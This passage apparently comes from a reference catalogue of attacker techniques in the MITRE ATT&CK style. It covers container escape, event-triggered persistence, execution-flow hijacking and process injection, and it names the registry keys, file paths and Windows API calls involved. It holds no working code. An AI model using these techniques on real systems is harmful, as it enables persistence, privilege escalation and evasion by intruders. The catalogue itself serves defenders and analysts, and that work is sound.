Manipulating the domain trusts may allow an adversary to escalate privileges and/or evade defenses by modifying settings to add objects which they control. For example, this may be used to forge SAML Tokens, without the need to compromise the signing certificate to forge new credentials. Instead, an adversary can manipulate domain trusts to add their own signing certificate. An adversary may also convert a domain to a federated domain, which may enable malicious trust modifications such as altering the claim issuance rules to log in any valid set of credentials as a specified user.

T1611 - Escape to Host
Adversaries may break out of a container to gain access to the underlying host. This can allow an adversary access to other containerized resources from the host level or to the host itself. In principle, containerized resources should provide a clear separation of application functionality and be isolated from the host environment.

There are multiple ways an adversary may escape to a host environment. Examples include creating a container configured to mount the host's filesystem using the bind parameter, which allows the adversary to drop payloads and execute control utilities such as cron on the host; utilizing a privileged container to run commands or load a malicious kernel module on the underlying host; or abusing system calls such as `unshare` and `keyctl` to escalate privileges and steal secrets.

Additionally, an adversary may be able to exploit a compromised container with a mounted container management socket, such as `docker.sock`, to break out of the container via a Container Administration Command. Adversaries may also escape via Exploitation for Privilege Escalation, such as exploiting vulnerabilities in global symbolic links in order to access the root directory of a host machine.

Gaining access to the host may provide the adversary with the opportunity to achieve follow-on objectives, such as establishing persistence, moving laterally within the environment, or setting up a C&C channel on the host.

T1546 - Event Triggered Execution
Adversaries may establish persistence and/or elevate privileges using system mechanisms that trigger execution based on specific events. Various operating systems have means to monitor and subscribe to events such as logons or other user activity such as running specific applications/binaries. Cloud environments may also support various functions and services that monitor and can be invoked in response to specific cloud events.

Adversaries may abuse these mechanisms as a means of maintaining persistent access to a victim via repeatedly executing malicious code. After gaining access to a victim system, adversaries may create/modify event triggers to point to malicious content that will be executed whenever the event trigger is invoked.

Since the execution can be proxied by an account with higher permissions, such as SYSTEM or service accounts, an adversary may be able to abuse these triggered execution mechanisms to escalate their privileges.

.001 - Change Default File Association
Adversaries may establish persistence by executing malicious content triggered by a file type association. When a file is opened, the default program used to open the file (also called the file association or handler) is checked. File association selections are stored in the Windows Registry and can be edited by users, administrators, or programs that have Registry access or by administrators using the built-in assoc utility. Applications can modify the file association for a given file extension to call an arbitrary program when a file with the given extension is opened.

System file associations are listed under `HKEY_CLASSES_ROOT.[extension]`, for example `HKEY_CLASSES_ROOT.txt`. The entries point to a handler for that extension located at `HKEY_CLASSES_ROOT\[handler]`. The various commands are then listed as subkeys underneath the shell key at `HKEY_CLASSES_ROOT\[handler]\shell\[action]\command`. For example:

- HKEY_CLASSES_ROOT\txtfile\shell\open\command
- HKEY_CLASSES_ROOT\txtfile\shell\print\command
- HKEY_CLASSES_ROOT\txtfile\shell\printto\command

The values of the keys listed are commands that are executed when the handler opens the file extension. Adversaries can modify these values to continually execute arbitrary commands.

.002 – Screensaver

Adversaries may establish persistence by executing malicious content triggered by user inactivity. Screensavers are programs that execute after a configurable time of user inactivity and consist of Portable Executable (PE) files with a .scr file extension. The Windows screensaver application scrnsave.scr is located in C:\Windows\System32\, and C:\Windows\sysWOW64\ on 64-bit Windows systems, along with screensavers included with base Windows installations.

The following screensaver settings are stored in the Registry (HKCU\Control Panel\Desktop\) and could be manipulated to achieve persistence:

- SCRNSAVE.exe - set to malicious PE path
- ScreenSaveActive - set to '1' to enable the screensaver
- ScreenSaverIsSecure - set to '0' to not require a password to unlock
- ScreenSaveTimeout - sets user inactivity timeout before screensaver is executed

Adversaries can use screensaver settings to maintain persistence by setting the screensaver to run malware after a certain timeframe of user inactivity.

.003 - Windows Management Instrumentation Event Subscription

Adversaries may establish persistence and elevate privileges by executing malicious content triggered by a Windows Management Instrumentation (WMI) event subscription. WMI can be used to install event filters, providers, consumers, and bindings that execute code when a defined event occurs. Examples of events that may be subscribed to are the wall clock time, user loging, or the computer's uptime.

Adversaries may use the capabilities of WMI to subscribe to an event and execute arbitrary code when that event occurs, providing persistence on a system. Adversaries may also compile WMI scripts into Windows Management Object (MOF) files (.mof extension) that can be used to create a malicious subscription.

WMI subscription execution is proxied by the WMI Provider Host process (WmiPrvSe.exe) and thus may result in elevated SYSTEM privileges.

.004 - Unix Shell Configuration Modification

Adversaries may establish persistence through executing malicious commands triggered by a user's shell. User Unix Shells execute several configuration scripts at different points throughout the session based on events. For example, when a user opens a command-line interface or remotely logs in (such as via SSH) a login shell is initiated. The login shell executes scripts from the system (/etc) and the user's home directory (~/) to configure the environment. All login shells on a system use /etc/profile when initiated. These configuration scripts run at the permission level of their directory and are often used to set environment variables, create aliases, and customize the user's environment. When the shell exits or terminates, additional shell scripts are executed to ensure the shell exits appropriately.

Adversaries may attempt to establish persistence by inserting commands into scripts automatically executed by shells. Using bash as an example, the default shell for most GNU/Linux systems, adversaries may add commands that launch malicious binaries into the /etc/profile and /etc/profile.d files. These files typically require root permissions to modify and are executed each time any shell on a system launches. For user level permissions, adversaries can insert malicious commands into ~/.bash_profile, ~/.bash_login, or ~/.profile which are sourced when a user opens a command-line interface or connects remotely. Since the system only executes the first existing file in the listed order, adversaries have used ~/.bash_profile to ensure execution. Adversaries have also leveraged the ~/.bashrc file which is additionally executed if the connection is established remotely or an additional interactive shell is opened, such as a new tab in the command-line interface. Some malware targets the termination of a program to trigger execution, adversaries can use the ~/.bash_logout file to execute malicious commands at the end of a session.

For macOS, the functionality of this technique is similar but may leverage zsh, the default shell for macOS 10.15+. When the Terminal.app is opened, the application launches a zsh login shell and a zsh interactive shell. The login shell configures the system environment using /etc/profile, /etc/zshenv, /etc/zprofile, and /etc/zlogin. The login shell then configures the user environment with ~/.zprofile and ~/.zlogin. The interactive shell uses the ~/.zshrc to configure the user environment. Upon exiting, /etc/zlogout and ~/.zlogout are executed. For legacy programs, macOS executes /etc/bashrc on startup.

.005 – Trap
Adversaries may establish persistence by executing malicious content triggered by an interrupt signal. The trap command allows programs and shells to specify commands that will be executed upon receiving interrupt signals. A common situation is a script allowing for graceful termination and handling of common keyboard interrupts like ctrl+c and ctrl+d.

Adversaries can use this to register code to be executed when the shell encounters specific interrupts as a persistence mechanism. Trap commands are of the following format trap 'command list' signals where "command list" will be executed when "signals" are received.

.006 - LC_LOAD_DYLIB Addition
Adversaries may establish persistence by executing malicious content triggered by the execution of tainted binaries. Mach-O binaries have a series of headers that are used to perform certain operations when a binary is loaded. The LC_LOAD_DYLIB header in a Mach-O binary tells macOS and OS X which dynamic libraries (dylibs) to load during execution time. These can be added ad-hoc to the compiled binary as long as adjustments are made to the rest of the fields and dependencies. There are tools available to perform these changes.

Adversaries may modify Mach-O binary headers to load and execute malicious dylibs every time the binary is executed. Although any changes will invalidate digital signatures on binaries because the binary is being modified, this can be remediated by simply removing the LC_CODE_SIGNATURE command from the binary so that the signature isn’t checked at load time.

.007 - Netsh Helper DLL
Adversaries may establish persistence by executing malicious content triggered by Netsh Helper DLLs. Netsh.exe (also referred to as Netshell) is a command-line scripting utility used to interact with the network configuration of a system. It contains functionality to add helper DLLs for extending functionality of the utility.[1] The paths to registered netsh.exe helper DLLs are entered into the Windows Registry at HKLM\SOFTWARE\Microsoft\Netsh.

Adversaries can use netsh.exe helper DLLs to trigger execution of arbitrary code in a persistent manner. This execution would take place anytime netsh.exe is executed, which could happen automatically, with another persistence technique, or if other software (ex: VPN) is present on the system that executes netsh.exe as part of its normal functionality.

.008 - Accessibility Features

Adversaries may establish persistence and/or elevate privileges by executing malicious content triggered by accessibility features. Windows contains accessibility features that may be launched with a key combination before a user has logged in (ex: when the user is on the Windows logon screen). An adversary can modify the way these programs are launched to get a command prompt or backdoor without logging in to the system.

Two common accessibility programs are `C:\Windows\System32\sethc.exe`, launched when the shift key is pressed five times and `C:\Windows\System32\utilman.exe`, launched when the Windows + U key combination is pressed. The sethc.exe program is often referred to as "sticky keys", and has been used by adversaries for unauthenticated access through a remote desktop login screen.

Depending on the version of Windows, an adversary may take advantage of these features in different ways. Common methods used by adversaries include replacing accessibility feature binaries or pointers/references to these binaries in the Registry. In newer versions of Windows, the replaced binary needs to be digitally signed for x64 systems, the binary must reside in `%systemdir%\`, and it must be protected by Windows File or Resource Protection (WFP/WRP). The Image File Execution Options Injection debugger method was likely discovered as a potential workaround because it does not require the corresponding accessibility feature binary to be replaced.

For simple binary replacement on Windows XP and later as well as and Windows Server 2003/R2 and later, for example, the program (e.g., `C:\Windows\System32\utilman.exe`) may be replaced with "cmd.exe" (or another program that provides backdoor access). Subsequently, pressing the appropriate key combination at the login screen while sitting at the keyboard or when connected over Remote Desktop Protocol will cause the replaced file to be executed with SYSTEM privileges.

Other accessibility features exist that may also be leveraged in a similar fashion:

- On-Screen Keyboard: `C:\Windows\System32\osk.exe`
- Magnifier: `C:\Windows\System32\Magnify.exe`
- Narrator: `C:\Windows\System32\Narrator.exe`
- Display Switcher: `C:\Windows\System32\DisplaySwitch.exe`
- App Switcher: `C:\Windows\System32\AtBroker.exe`

.009 - AppCert DLLs

Adversaries may establish persistence and/or elevate privileges by executing malicious content triggered by AppCert DLLs loaded into processes. Dynamic-link libraries (DLLs) that are specified in the `AppCertDLLs` Registry key under `HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\Session Manager\` are loaded into every process that calls the ubiquitously used application programming interface (API) functions `CreateProcess`, `CreateProcessAsUser`, `CreateProcessWithLoginW`, `CreateProcessWithTokenW`, or `WinExec`.

Similar to Process Injection, this value can be abused to obtain elevated privileges by causing a malicious DLL to be loaded and run in the context of separate processes on the computer. Malicious AppCert DLLs may also provide persistence by continuously being triggered by API activity.

.010 - AppInit DLLs

Adversaries may establish persistence and/or elevate privileges by executing malicious content triggered by AppInit DLLs loaded into processes. Dynamic-link libraries (DLLs) that are specified in the AppInit_DLLs value in the Registry keys HKEY_LOCAL_MACHINE\Software\Microsoft\Windows NT\CurrentVersion\Windows or HKEY_LOCAL_MACHINE\Software\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Windows are loaded by user32.dll into every process that loads user32.dll. In practice this is nearly every program, since user32.dll is a very common library.

Similar to Process Injection, these values can be abused to obtain elevated privileges by causing a malicious DLL to be loaded and run in the context of separate processes on the computer. Malicious AppInit DLLs may also provide persistence by continuously being triggered by API activity.

The AppInit DLL functionality is disabled in Windows 8 and later versions when secure boot is enabled.

.011 - Application Shimming

Adversaries may establish persistence and/or elevate privileges by executing malicious content triggered by application shims. The Microsoft Windows Application Compatibility Infrastructure/Framework (Application Shim) was created to allow for backward compatibility of software as the operating system codebase changes over time. For example, the application shimming feature allows developers to apply fixes to applications (without rewriting code) that were created for Windows XP so that it will work with Windows 10. [1]

Within the framework, shims are created to act as a buffer between the program (or more specifically, the Import Address Table) and the Windows OS. When a program is executed, the shim cache is referenced to determine if the program requires the use of the shim database (.sdb). If so, the shim database uses hooking to redirect the code as necessary in order to communicate with the OS.

A list of all shims currently installed by the default Windows installer (sdbinst.exe) is kept in:

- %WINDIR%\AppPatch\sysmain.sdb
- HKLM\software\microsoft\windows nt\currentversion\appcompatflags\installedsdb

Custom databases are stored in:

- %WINDIR%\AppPatch\custom and %WINDIR%\AppPatch\AppPatch64\Custom
- HKLM\software\microsoft\windows nt\currentversion\appcompatflags\custom

To keep shims secure, Windows designed them to run in user mode so they cannot modify the kernel and you must have administrator privileges to install a shim. However, certain shims can be used to Bypass User Account Control (UAC and RedirectEXE), inject DLLs into processes (InjectDLL), disable Data Execution Prevention (DisableNX) and Structure Exception Handling (DisableSEH), and intercept memory addresses (GetProcAddress).

Utilizing these shims may allow an adversary to perform several malicious acts such as elevate privileges, install backdoors, disable defenses like Windows Defender, etc. Shims can also be abused to establish persistence by continuously being invoked by affected programs.

.012 - Image File Execution Options Injection

Adversaries may establish persistence and/or elevate privileges by executing malicious content triggered by Image File Execution Options (IFEO) debuggers. IFEOs enable a developer to attach a debugger to an application. When a process is created, a debugger present in an application's IFEO will be prepended to the application's name, effectively launching the new process under the debugger (e.g., `C:\dbg\ntsd.exe -g notepad.exe`).

IFEOs can be set directly via the Registry or in Global Flags via the GFlags tool. IFEOs are represented as `Debugger` values in the Registry under `HKLM\SOFTWARE{\Wow6432Node}\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\` where `<executable>` is the binary on which the debugger is attached.

IFEOs can also enable an arbitrary monitor program to be launched when a specified program silently exits (i.e. is prematurely terminated by itself or a second, non kernel-mode process). Similar to debuggers, silent exit monitoring can be enabled through GFlags and/or by directly modifying IFEO and silent process exit Registry values in `HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\SilentProcessExit\`.

Similar to Accessibility Features, on Windows Vista and later as well as Windows Server 2008 and later, a Registry key may be modified that configures "cmd.exe," or another program that provides backdoor access, as a "debugger" for an accessibility program (ex: utilman.exe). After the Registry is modified, pressing the appropriate key combination at the login screen while at the keyboard or when connected with Remote Desktop Protocol will cause the "debugger" program to be executed with SYSTEM privileges.

Similar to Process Injection, these values may also be abused to obtain privilege escalation by causing a malicious executable to be loaded and run in the context of separate processes on the computer. Installing IFEO mechanisms may also provide Persistence via continuous triggered invocation.

Malware may also use IFEO to Impair Defenses by registering invalid debuggers that redirect and effectively disable various system and security applications.

.013 - PowerShell Profile

Adversaries may gain persistence and elevate privileges by executing malicious content triggered by PowerShell profiles. A PowerShell profile (`profile.ps1`) is a script that runs when PowerShell starts and can be used as a logon script to customize user environments.

PowerShell supports several profiles depending on the user or host program. For example, there can be different profiles for PowerShell host programs such as the PowerShell console, PowerShell ISE or Visual Studio Code. An administrator can also configure a profile that applies to all users and host programs on the local computer.

Adversaries may modify these profiles to include arbitrary commands, functions, modules, and/or PowerShell drives to gain persistence. Every time a user opens a PowerShell session the modified script will be executed unless the `-NoProfile` flag is used when it is launched.

An adversary may also be able to escalate privileges if a script in a PowerShell profile is loaded and executed by an account with higher privileges, such as a domain administrator.

.014 – Emond

Adversaries may gain persistence and elevate privileges by executing malicious content triggered by the Event Monitor Daemon (emond). Emond is a Launch Daemon that accepts events from various services, runs them through a simple rules engine, and takes action. The emond binary at /sbin/emond will load any rules from the /etc/emond.d/rules/ directory and take action once an explicitly defined event takes place.

The rule files are in the plist format and define the name, event type, and action to take. Some examples of event types include system startup and user authentication. Examples of actions are to run a system command or send an email. The emond service will not launch if there is no file present in the QueueDirectories path /private/var/db/emondClients, specified in the Launch Daemon configuration file at /System/Library/LaunchDaemons/com.apple.emond.plist.

Adversaries may abuse this service by writing a rule to execute commands when a defined event occurs, such as system start up or user authentication. Adversaries may also be able to escalate privileges from administrator to root as the emond service is executed with root privileges by the Launch Daemon service.

.015 - Component Object Model Hijacking

Adversaries may establish persistence by executing malicious content triggered by hijacked references to Component Object Model (COM) objects. COM is a system within Windows to enable interaction between software components through the operating system. References to various COM objects are stored in the Registry.

Adversaries can use the COM system to insert malicious code that can be executed in place of legitimate software through hijacking the COM references and relationships as a means for persistence. Hijacking a COM object requires a change in the Registry to replace a reference to a legitimate system component which may cause that component to not work when executed. When that system component is executed through normal system operation the adversary's code will be executed instead. An adversary is likely to hijack objects that are used frequently enough to maintain a consistent level of persistence, but are unlikely to break noticeable functionality within the system as to avoid system instability that could lead to detection.

.016 - Installer Packages

Adversaries may establish persistence and elevate privileges by using an installer to trigger the execution of malicious content. Installer packages are OS specific and contain the resources an operating system needs to install applications on a system. Installer packages can include scripts that run prior to installation as well as after installation is complete. Installer scripts may inherit elevated permissions when executed. Developers often use these scripts to prepare the environment for installation, check requirements, download dependencies, and remove files after installation.

Using legitimate applications, adversaries have distributed applications with modified installer scripts to execute malicious content. When a user installs the application, they may be required to grant administrative permissions to allow the installation. At the end of the installation process of the legitimate application, content such as macOS postinstall scripts can be executed with the inherited elevated permissions. Adversaries can use these scripts to execute a malicious executable or install other malicious components (such as a Launch Daemon) with the elevated permissions.

Depending on the distribution, Linux versions of package installer scripts are sometimes called maintainer scripts or post installation scripts. These scripts can include preinst, postinst, prerm, postrm scripts and run as root when executed.

For Windows, the Microsoft Installer services uses .msi files to manage the installing, updating, and uninstalling of applications. Adversaries have leveraged Prebuild and Postbuild events to run commands before or after a build when installing .msi files.

T1068 - Exploitation for Privilege Escalation

T1574 - Hijack Execution Flow

Adversaries may execute their own malicious payloads by hijacking the way operating systems run programs. Hijacking execution flow can be for the purposes of persistence, since this hijacked execution may reoccur over time. Adversaries may also use these mechanisms to elevate privileges or evade defenses, such as application control or other restrictions on execution.

There are many ways an adversary may hijack the flow of execution, including by manipulating how the operating system locates programs to be executed. How the operating system locates libraries to be used by a program can also be intercepted. Locations where the operating system looks for programs/resources, such as file directories and in the case of Windows the Registry, could also be poisoned to include malicious payloads.

.001 - DLL Search Order Hijacking

Adversaries may execute their own malicious payloads by hijacking the search order used to load DLLs. Windows systems use a common method to look for required DLLs to load into a program. Hijacking DLL loads may be for the purpose of establishing persistence as well as elevating privileges and/or evading restrictions on file execution.

There are many ways an adversary can hijack DLL loads. Adversaries may plant trojan dynamic-link library files (DLLs) in a directory that will be searched before the location of a legitimate library that will be requested by a program, causing Windows to load their malicious library when it is called for by the victim program. Adversaries may also perform DLL preloading, also called binary planting attacks, by placing a malicious DLL with the same name as an ambiguously specified DLL in a location that Windows searches before the legitimate DLL. Often this location is the current working directory of the program. Remote DLL preloading attacks occur when a program sets its current directory to a remote location such as a Web share before loading a DLL.

Adversaries may also directly modify the search order via DLL redirection, which after being enabled (in the Registry and creation of a redirection file) may cause a program to load a different DLL.

If a search order-vulnerable program is configured to run at a higher privilege level, then the adversary-controlled DLL that is loaded will also be executed at the higher level. In this case, the technique could be used for privilege escalation from user to administrator or SYSTEM or from administrator to SYSTEM, depending on the program. Programs that fall victim to path hijacking may appear to behave normally because malicious DLLs may be configured to also load the legitimate DLLs they were meant to replace.

.002 - DLL Side-Loading

Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking, side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).

Side-loading takes advantage of the DLL search order used by the loader by positioning both the victim application and malicious payload(s) alongside each other. Adversaries likely use side-loading as a means of masking actions they perform under a legitimate, trusted, and potentially elevated system or software process. Benign executables used to side-load payloads may not be flagged during delivery and/or execution. Adversary payloads may also be encrypted/packed or otherwise obfuscated until loaded into the memory of the trusted process.

.004 - Dylib Hijacking

Adversaries may execute their own payloads by placing a malicious dynamic library (dylib) with an expected name in a path a victim application searches at runtime. The dynamic loader will try to find the dylibs based on the sequential order of the search paths. Paths to dylibs may be prefixed with `@rpath`, which allows developers to use relative paths to specify an array of search paths used at runtime based on the location of the executable. Additionally, if weak linking is used, such as the `LC_LOAD_WEAK_DYLIB` function, an application will still execute even if an expected dylib is not present. Weak linking enables developers to run an application on multiple macOS versions as new APIs are added.

Adversaries may gain execution by inserting malicious dylibs with the name of the missing dylib in the identified path. Dylibs are loaded into an application's address space allowing the malicious dylib to inherit the application's privilege level and resources. Based on the application, this could result in privilege escalation and uninhibited network access. This method may also evade detection from security products since the execution is masked under a legitimate process.

.005 - Executable Installer File Permissions Weakness

Adversaries may execute their own malicious payloads by hijacking the binaries used by an installer. These processes may automatically execute specific binaries as part of their functionality or to perform other actions. If the permissions on the file system directory containing a target binary, or permissions on the binary itself, are improperly set, then the target binary may be overwritten with another binary using user-level permissions and executed by the original process. If the original process and thread are running under a higher permissions level, then the replaced binary will also execute under higher-level permissions, which could include SYSTEM.

Another variation of this technique can be performed by taking advantage of a weakness that is common in executable, self-extracting installers. During the installation process, it is common for installers to use a subdirectory within the %TEMP% directory to unpack binaries such as DLLs, EXEs, or other payloads. When installers create subdirectories and files they often do not set appropriate permissions to restrict write access, which allows for execution of untrusted code placed in the subdirectories or overwriting of binaries used in the installation process. This behavior is related to and may take advantage of DLL Search Order Hijacking.

Adversaries may use this technique to replace legitimate binaries with malicious ones as a means of executing code at a higher permissions level. Some installers may also require elevated privileges that will result in privilege escalation when executing adversary controlled code. This behavior is related to Bypass User Account Control. Several examples of this weakness in existing common installers have been reported to software vendors. If the executing process is set to run at a specific time or during a certain event (e.g., system bootup) then this technique can also be used for persistence.

.006 - Dynamic Linker Hijacking

Adversaries may execute their own malicious payloads by hijacking environment variables the dynamic linker uses to load shared libraries. During the execution preparation phase of a program, the dynamic linker loads specified absolute paths of shared libraries from environment variables and files, such as `LD_PRELOAD` on Linux or `DYLD_INSERT_LIBRARIES` on macOS. Libraries specified in environment variables are loaded first, taking precedence over system libraries with the same function name. These variables are often used by developers to debug binaries without needing to recompile, deconflict mapped symbols, and implement custom functions without changing the original library.

On Linux and macOS, hijacking dynamic linker variables may grant access to the victim process's memory, system/network resources, and possibly elevated privileges. This method may also evade detection from security products since the execution is masked under a legitimate process. Adversaries can set environment variables via the command line using the `export` command, `setenv` function, or `putenv` function. Adversaries can also leverage Dynamic Linker Hijacking to export variables in a shell or set variables programmatically using higher level syntax such Python's `os.environ`.

On Linux, adversaries may set `LD_PRELOAD` to point to malicious libraries that match the name of legitimate libraries which are requested by a victim program, causing the operating system to load the adversary's malicious code upon execution of the victim program. `LD_PRELOAD` can be set via the environment variable or `/etc/ld.so.preload` file. Libraries specified by `LD_PRELOAD` are loaded and mapped into memory by `dlopen()` and `mmap()` respectively.

On macOS this behavior is conceptually the same as on Linux, differing only in how the macOS dynamic libraries (dyld) is implemented at a lower level. Adversaries can set the `DYLD_INSERT_LIBRARIES` environment variable to point to malicious libraries containing names of legitimate libraries or functions requested by a victim program.

.007 - Path Interception by PATH Environment Variable

Adversaries may execute their own malicious payloads by hijacking environment variables used to load libraries. Adversaries may place a program in an earlier entry in the list of directories stored in the PATH environment variable, which Windows will then execute when it searches sequentially through that PATH listing in search of the binary that was called from a script or the command line.

The PATH environment variable contains a list of directories. Certain methods of executing a program (namely using cmd.exe or the command-line) rely solely on the PATH environment variable to determine the locations that are searched for a program when the path for the program is not given. If any directories are listed in the PATH environment variable before the Windows directory, `%SystemRoot%\system32` (e.g., `C:\Windows\system32`), a program may be placed in the preceding directory that is named the same as a Windows program (such as cmd, PowerShell, or Python), which will be executed when that command is executed from a script or command-line.

For example, if `C:\example path` precedes `C:\Windows\system32` is in the PATH environment variable, a program that is named net.exe and placed in `C:\example path` will be called instead of the Windows system "net" when "net" is executed from the command-line.

.008 - Path Interception by Search Order Hijacking

Adversaries may execute their own malicious payloads by hijacking the search order used to load other programs. Because some programs do not call other programs using the full path, adversaries may place their own file in the directory where the calling program is located, causing the operating system to launch their malicious software at the request of the calling program.

Search order hijacking occurs when an adversary abuses the order in which Windows searches for programs that are not given a path. Unlike DLL Search Order Hijacking, the search order differs depending on the method that is used to execute the program. However, it is common for Windows to search in the directory of the initiating program before searching through the Windows system directory. An adversary who finds a program vulnerable to search order hijacking (i.e., a program that does not specify the path to an executable) may take advantage of this vulnerability by creating a program named after the improperly specified program and placing it within the initiating program's directory.

For example, "example.exe" runs "cmd.exe" with the command-line argument `net user`. An adversary may place a program called "net.exe" within the same directory as example.exe, "net.exe" will be run instead of the Windows system utility net. In addition, if an adversary places a program called "net.com" in the same directory as "net.exe", then `cmd.exe /C net user` will execute "net.com" instead of "net.exe" due to the order of executable extensions defined under PATHEXT.

Search order hijacking is also a common practice for hijacking DLL loads and is covered in DLL Search Order Hijacking.

.009 - Path Interception by Unquoted Path

Adversaries may execute their own malicious payloads by hijacking vulnerable file path references. Adversaries can take advantage of paths that lack surrounding quotations by placing an executable in a higher level directory within the path, so that Windows will choose the adversary's executable to launch.

Service paths and shortcut paths may also be vulnerable to path interception if the path has one or more spaces and is not surrounded by quotation marks (e.g., `C:\unsafe path with space\program.exe` vs. `"C:\safe path with space\program.exe"`). (stored in Windows Registry keys) An adversary can place an executable in a higher level directory of the path, and Windows will resolve that executable instead of the intended executable. For example, if the path in a shortcut is `C:\program files\myapp.exe`, an adversary may create a program at `C:\program.exe` that will be run instead of the intended program.

This technique can be used for persistence if executables are called on a regular basis, as well as privilege escalation if intercepted executables are started by a higher privileged process.

.010 - Services File Permissions Weakness

Adversaries may execute their own malicious payloads by hijacking the binaries used by services. Adversaries may use flaws in the permissions of Windows services to replace the binary that is executed upon service start. These service processes may automatically execute specific binaries as part of their functionality or to perform other actions. If the permissions on the file system directory containing a target binary, or permissions on the binary itself are improperly set, then the target binary may be overwritten with another binary using user-level permissions and executed by the original process. If the original process and thread are running under a higher permissions level, then the replaced binary will also execute under higher-level permissions, which could include SYSTEM.

Adversaries may use this technique to replace legitimate binaries with malicious ones as a means of executing code at a higher permissions level. If the executing process is set to run at a specific time or during a certain event (e.g., system bootup) then this technique can also be used for persistence.

.011 - Services Registry Permissions Weakness

Adversaries may execute their own malicious payloads by hijacking the Registry entries used by services. Adversaries may use flaws in the permissions for Registry keys related to services to redirect from the originally specified executable to one that they control, in order to launch their own code when a service starts. Windows stores local service configuration information in the Registry under

HKLM\SYSTEM\CurrentControlSet\Services. The information stored under a service's Registry keys can be manipulated to modify a service's execution parameters through tools such as the service controller, sc.exe, PowerShell, or Reg. Access to Registry keys is controlled through access control lists and user permissions.

If the permissions for users and groups are not properly set and allow access to the Registry keys for a service, adversaries may change the service's binPath/ImagePath to point to a different executable under their control. When the service starts or is restarted, then the adversary-controlled program will execute, allowing the adversary to establish persistence and/or privilege escalation to the account context the service is set to execute under (local/domain account, SYSTEM, LocalService, or NetworkService).

Adversaries may also alter other Registry keys in the service’s Registry tree. For example, the FailureCommand key may be changed so that the service is executed in an elevated context anytime the service fails or is intentionally corrupted.

The Performance key contains the name of a driver service's performance DLL and the names of several exported functions in the DLL. If the Performance key is not already present and if an adversary-controlled user has the Create Subkey permission, adversaries may create the Performance key in the service’s Registry tree to point to a malicious DLL.

Adversaries may also add the Parameters key, which stores driver-specific data, or other custom subkeys for their malicious services to establish persistence or enable other malicious activities. Additionally, If adversaries launch their malicious services using svchost.exe, the service’s file may be identified using HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\servicename\Parameters\ServiceDll.

.012 - COR_PROFILER

Adversaries may leverage the COR_PROFILER environment variable to hijack the execution flow of programs that load the .NET CLR. The COR_PROFILER is a .NET Framework feature which allows developers to specify an unmanaged (or external of .NET) profiling DLL to be loaded into each .NET process that loads the Common Language Runtime (CLR). These profilers are designed to monitor, troubleshoot, and debug managed code executed by the .NET CLR.

The COR_PROFILER environment variable can be set at various scopes (system, user, or process) resulting in different levels of influence. System and user-wide environment variable scopes are specified in the Registry, where a Component Object Model (COM) object can be registered as a profiler DLL. A process scope COR_PROFILER can also be created in-memory without modifying the Registry. Starting with .NET Framework 4, the profiling DLL does not need to be registered as long as the location of the DLL is specified in the COR_PROFILER_PATH environment variable.

Adversaries may abuse COR_PROFILER to establish persistence that executes a malicious DLL in the context of all .NET processes every time the CLR is invoked. The COR_PROFILER can also be used to elevate privileges (ex: Bypass User Account Control) if the victim .NET process executes at a higher permission level, as well as to hook and Impair Defenses provided by .NET processes.

.013 – KernelCallbackTable

Adversaries may abuse the KernelCallbackTable of a process to hijack its execution flow in order to run their own payloads. The KernelCallbackTable can be found in the Process Environment Block (PEB) and is initialized to an array of graphic functions available to a GUI process once user32.dll is loaded.

An adversary may hijack the execution flow of a process using the KernelCallbackTable by replacing an original callback function with a malicious payload. Modifying callback functions can be achieved in various ways involving related behaviors such as Reflective Code Loading or Process Injection into another process.

A pointer to the memory address of the KernelCallbackTable can be obtained by locating the PEB (ex: via a call to the NtQueryInformationProcess() Native API function). Once the pointer is located, the KernelCallbackTable can be duplicated, and a function in the table (e.g., fnCOPYDATA) set to the address of a malicious payload (ex: via WriteProcessMemory()). The PEB is then updated with the new address of the table. Once the tampered function is invoked, the malicious payload will be triggered.

The tampered function is typically invoked using a Windows message. After the process is hijacked and malicious code is executed, the KernelCallbackTable may also be restored to its original state by the rest of the malicious payload. Use of the KernelCallbackTable to hijack execution flow may evade detection from security products since the execution can be masked under a legitimate process.

T1055 - Process Injection

Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.

There are many ways to inject code into a process, many of which abuse legitimate functionalities. These implementations exist for every major OS but are typically platform specific.

More sophisticated samples may perform multiple process injections to segment modules and further evade detection, utilizing named pipes or other inter-process communication (IPC) mechanisms as a communication channel.

.001 - Dynamic-link Library Injection

Adversaries may inject dynamic-link libraries (DLLs) into processes in order to evade process-based defenses as well as possibly elevate privileges. DLL injection is a method of executing arbitrary code in the address space of a separate live process.

DLL injection is commonly performed by writing the path to a DLL in the virtual address space of the target process before loading the DLL by invoking a new thread. The write can be performed with native Windows API calls such as VirtualAllocEx and WriteProcessMemory, then invoked with CreateRemoteThread (which calls the LoadLibrary API responsible for loading the DLL).

Variations of this method such as reflective DLL injection (writing a self-mapping DLL into a process) and memory module (map DLL when writing into process) overcome the address relocation issue as well as the additional APIs to invoke execution (since these methods load and execute the files in memory by manually preforming the function of LoadLibrary).

Another variation of this method, often referred to as Module Stomping/Overloading or DLL Hollowing, may be leveraged to conceal injected code within a process. This method involves loading a legitimate DLL into a remote process then manually overwriting the module's AddressOfEntryPoint before starting a new thread in the target process. This variation allows attackers to hide malicious injected code by potentially backing its execution with a legitimate DLL file on disk.

Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via DLL injection may also evade detection from security products since the execution is masked under a legitimate process.

.002 - Portable Executable Injection

Adversaries may inject portable executables (PE) into processes in order to evade process-based defenses as well as possibly elevate privileges. PE injection is a method of executing arbitrary code in the address space of a separate live process.

PE injection is commonly performed by copying code (perhaps without a file on disk) into the virtual address space of the target process before invoking it via a new thread. The write can be performed with native Windows API calls such as `VirtualAllocEx` and `WriteProcessMemory`, then invoked with `CreateRemoteThread` or additional code (ex: shellcode). The displacement of the injected code does introduce the additional requirement for functionality to remap memory references.

